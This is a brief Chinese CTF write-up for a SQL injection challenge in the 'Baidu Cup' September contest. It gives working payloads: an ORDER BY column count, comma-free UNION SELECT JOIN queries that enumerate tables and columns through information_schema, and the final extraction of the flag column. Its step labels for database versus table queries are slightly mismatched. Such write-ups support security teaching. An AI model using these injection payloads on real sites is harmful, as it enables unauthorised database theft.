“百度杯”CTF比赛 九月场 题目名称：SQLi 后台有获取flag的线索

解题思路

1. 具有SQL注入点连接：
http://c3084761df8c4b1c91ddf64fd8c2ed4f22bb2637d78e4132.changame.ichunqiu.com/l0gin.php?id

2. 逗号之后被截断了，使用无逗号注入mysql无逗号的注入技巧

3. 判断字段个数 （SQL语句出错时，id原样输出）
payload:

l0gin.php?id=1%27%20order%20by%202%20%23

order by 3 时就会报错。

4. 查询数据库名
采用join方式

l0gin.php?id=4%27 union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema=database()) b %23

5. 查询表名

l0gin.php?id=4%27 union select * from (select 1) a join (select GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME='users') b %23

6. flag

http://c3084761df8c4b1c91ddf64fd8c2ed4f22bb2637d78e4132.changame.ichunqiu.com/l0gin.php?id=4%27 union select * from (select 1) a join (select flag_9c861b688330 from users) b %23